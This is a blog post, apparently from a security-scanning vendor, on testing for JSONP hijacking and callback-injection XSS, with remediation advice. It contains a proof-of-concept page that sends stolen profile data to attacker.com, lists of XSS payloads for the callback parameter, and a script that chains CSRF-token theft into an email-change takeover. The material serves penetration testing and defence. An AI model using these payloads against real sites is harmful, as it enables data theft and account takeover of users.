JSONP Security Testing: Cross-Domain Data Exfiltration and Callback Injection

JSONP (JSON with Padding) was invented to solve a problem that CORS now handles properly. Before browsers implemented the Cross-Origin Resource Sharing standard, web developers needed a way to fetch data from different domains. JSONP exploited the fact that <script> tags are not subject to the Same-Origin Policy — you can load a script from any domain, and it executes in your page's context.

The pattern looks like this: you add a callback parameter to a request, and the server wraps the JSON response in a function call. GET /api/user?callback=processData returns processData({"name":"alice","email":"alice@example.com"}) instead of raw JSON. Your page has already defined processData, so when the script loads, it executes with the response data.

The security problem is fundamental: any page on the internet can include your JSONP endpoint as a script tag and exfiltrate whatever data it returns — including authenticated data tied to the victim's session cookies.

Why JSONP Is Still Worth Testing

CORS replaced JSONP's legitimate use case, but JSONP endpoints don't disappear automatically when a framework migrates to CORS. Legacy endpoints linger in older services, third-party widgets, CDN-hosted assets, and APIs that weren't fully audited during a platform migration.

Modern applications still have JSONP issues when:

Reconnaissance: Finding JSONP Endpoints

Parameter discovery

JSONP endpoints accept a callback parameter with common names. Test each API endpoint and static URL you find with these parameter names:

callback
jsonp
cb
jsoncallback
jsonpcallback
callbackFunction
json_callback
c
func
fn

A quick grep across JavaScript source files often reveals JSONP usage:

# Search JS for JSONP patterns
grep -r "jsonp\|callback=" --include="*.js" ./static/

# Look for script-tag injection patterns
grep -r "createElement.*script\|appendChild\|document.write" --include="*.js" ./static/ | grep -i "callback\|jsonp"

Browser DevTools approach

Load the application while watching the Network tab filtered to JS requests. JSONP responses are served with Content-Type: application/javascript or text/javascript — not application/json. Requests made via <script> tag injection show up here rather than in XHR/Fetch.

Historical endpoint discovery

# Check Wayback Machine for old JSONP usage
curl "https://web.archive.org/cdx/search/cdx?url=target.com/*&fl=original&filter=original:.*callback.*&output=text&limit=100"

# Search GitHub/GitLab for references
"site:github.com target.com callback jsonp"

The Core Attack: JSONP Hijacking

If an endpoint returns authenticated user data via JSONP, any attacker page can steal it. The attack works because:

  1. The victim is logged in to target.com — their session cookie exists in the browser
  2. The attacker's page at evil.com injects a <script> tag pointing to target.com/api/profile?callback=steal
  3. The browser requests the endpoint and automatically sends the victim's session cookies (it's a regular script load)
  4. The server returns steal({"name":"Alice","email":"alice@example.com","api_key":"sk-abc123"})
  5. The attacker's steal() function receives the data and exfiltrates it to their server

Proof-of-concept attack page:

<!-- Attacker page at evil.com -->
<!DOCTYPE html>
<html>
<head>
<script>
// Define callback before the script tag fires
function steal(data) {
    // Exfiltrate to attacker-controlled server
    var img = new Image();
    img.src = 'https://attacker.com/collect?d=' + encodeURIComponent(JSON.stringify(data));
    document.body.appendChild(img);

    // Also try navigator.sendBeacon for reliability
    if (navigator.sendBeacon) {
        navigator.sendBeacon('https://attacker.com/collect', JSON.stringify(data));
    }
}
</script>
<!-- Load victim's authenticated JSONP endpoint -->
<script src="https://target.com/api/user/profile?callback=steal"></script>
</head>
<body>
<p>Loading...</p>
</body>
</html>

What data to look for

Not every JSONP endpoint is equally dangerous. Prioritize endpoints that return:

Callback Injection (JSONP-Based XSS)

Many servers accept the callback parameter without sanitization and reflect it directly into the response. If the server reflects arbitrary text as the function name, an attacker can inject JavaScript.

Test payloads for callback injection:

# Basic reflection test — does callback appear in response?
GET /api/data?callback=test123

# XSS via callback parameter
GET /api/data?callback=alert(1)//
GET /api/data?callback=alert(document.domain)
GET /api/data?callback=};alert(1);//
GET /api/data?callback=alert(1)

# Newline injection (breaks out of comment if response is wrapped)
GET /api/data?callback=test%0aalert(1)
GET /api/data?callback=test%0d%0aalert(1)

# Long payload to bypass length limits
GET /api/data?callback=aaaaaaaaaa[...300 chars...]alert(1)

# Unicode bypass attempts
GET /api/data?callback=%E2%80%A8alert(1)   # U+2028 line separator
GET /api/data?callback=%E2%80%A9alert(1)   # U+2029 paragraph separator

A vulnerable response would look like:

// Vulnerable: reflects callback directly
HTTP/1.1 200 OK
Content-Type: application/javascript

alert(1)({"user":"alice"})

// Attacker injects function that pops an alert, then calls it with data
Content-Type matters here If the server returns Content-Type: application/json instead of application/javascript, callback injection XSS doesn't work because the browser won't execute the response as script. But JSONP hijacking can still work if the endpoint is intentionally used via script tags.

Testing for Referer-Based Restrictions

Some implementations try to restrict JSONP access by checking the Referer header. These controls are weak — the Referer header can be suppressed or spoofed in some contexts.

# Test with no Referer (direct request)
curl -s "https://target.com/api/data?callback=test" \
  -H "Cookie: session=victim_token"

# Test with attacker Referer
curl -s "https://target.com/api/data?callback=test" \
  -H "Cookie: session=victim_token" \
  -H "Referer: https://evil.com"

# Test with spoofed legitimate Referer
curl -s "https://target.com/api/data?callback=test" \
  -H "Cookie: session=victim_token" \
  -H "Referer: https://target.com/app"

# Test without Referer using Referrer-Policy: no-referrer
# Add this meta tag to attacker page:
# <meta name="referrer" content="no-referrer">
# Then include the JSONP script tag — Referer header won't be sent

Testing CSRF Token Leakage via JSONP

If an application exposes CSRF tokens through a JSONP endpoint (for example, a "get current session info" endpoint), attackers can steal the CSRF token and then perform CSRF attacks despite the token protection.

<script>
function gotSession(data) {
    // Got the CSRF token
    var token = data.csrf_token;

    // Now use it to perform CSRF
    var form = document.createElement('form');
    form.method = 'POST';
    form.action = 'https://target.com/api/change-email';

    var tokenField = document.createElement('input');
    tokenField.name = 'csrf_token';
    tokenField.value = token;
    form.appendChild(tokenField);

    var emailField = document.createElement('input');
    emailField.name = 'email';
    emailField.value = 'attacker@evil.com';
    form.appendChild(emailField);

    document.body.appendChild(form);
    form.submit();
}
</script>
<script src="https://target.com/api/session?callback=gotSession"></script>

Automated Discovery with Burp Suite

Set up Burp to catch JSONP responses automatically:

  1. In Proxy → Options, add a match rule for responses containing Content-Type: application/javascript
  2. Use the Param Miner extension to fuzz for hidden callback parameters on all endpoints
  3. In the Target → Site map, filter for responses with status 200 and Content-Type javascript
  4. Search the response content for patterns like function_name({ or callback_name({
# Quick grep on captured responses
# Look for JSONP response patterns
grep -r "^[a-zA-Z_$][a-zA-Z0-9_$]*\s*(" burp_responses/ | grep -v "function\|var\|let\|const"

Testing Checklist

Test What to check Vulnerable indicator
JSONP endpoint discovery Add ?callback=test to all API endpoints Response wraps JSON in test({...})
Authenticated data exposure Test JSONP endpoints with session cookie, no Referer Returns user-specific data to unauthenticated origin
Callback injection / XSS Send ?callback=alert(1) Response contains unsanitized callback reflected as JS
Content-Type check Check response Content-Type header application/javascript or text/javascript
Referer bypass Request without Referer or with attacker Referer Endpoint returns data without checking origin
CSRF token exposure Does any JSONP endpoint return CSRF tokens? Token leakable to attacker page, enables CSRF chain
Callback length restrictions Test very long callback names (500+ chars) No length validation allows large payloads

Impact Assessment

Rate JSONP findings based on what data they expose:

Remediation

Migrate to CORS: JSONP's only legitimate use is cross-origin data sharing, and CORS does this with proper access controls. Replace JSONP endpoints with proper REST endpoints that return application/json and use CORS headers to whitelist trusted origins.

# Proper CORS response headers
Access-Control-Allow-Origin: https://trusted-frontend.example.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type, Authorization

Remove the callback parameter: If you cannot immediately migrate, remove the callback parameter support from authenticated endpoints. Public endpoints with no sensitive data pose less risk but should still be reviewed.

Validate and sanitize callback names: If JSONP must remain for legacy compatibility, strictly validate the callback parameter against an allowlist of valid function names: only alphanumeric characters, underscores, and dots, with a maximum length. Reject anything else.

# Strict callback validation (Node.js example)
function validateCallback(callback) {
    if (!callback) return 'callback';
    if (!/^[a-zA-Z_$][a-zA-Z0-9_$.]{0,64}$/.test(callback)) {
        throw new Error('Invalid callback name');
    }
    return callback;
}

Set correct Content-Type: Ensure JSONP responses use application/javascript, not application/json. Browsers that see application/json with a function-call body won't execute it as script (though legacy browsers may still be affected).

Add X-Content-Type-Options: nosniff: Prevents browsers from MIME-sniffing JSON responses and executing them as script in old browser versions.

Require authentication for JSONP on authenticated endpoints: If JSONP must remain, ensure every authenticated endpoint checks credentials even for JSONP requests. Do not treat the presence of a callback parameter as a signal to skip auth.

Ironimo scans for JSONP endpoints across your application and API layer, tests callback parameters for injection, and identifies authenticated JSONP endpoints that could expose user data to cross-origin requests. Get a full picture of your cross-origin data exposure before an attacker does.

Start free scan
← Back to Blog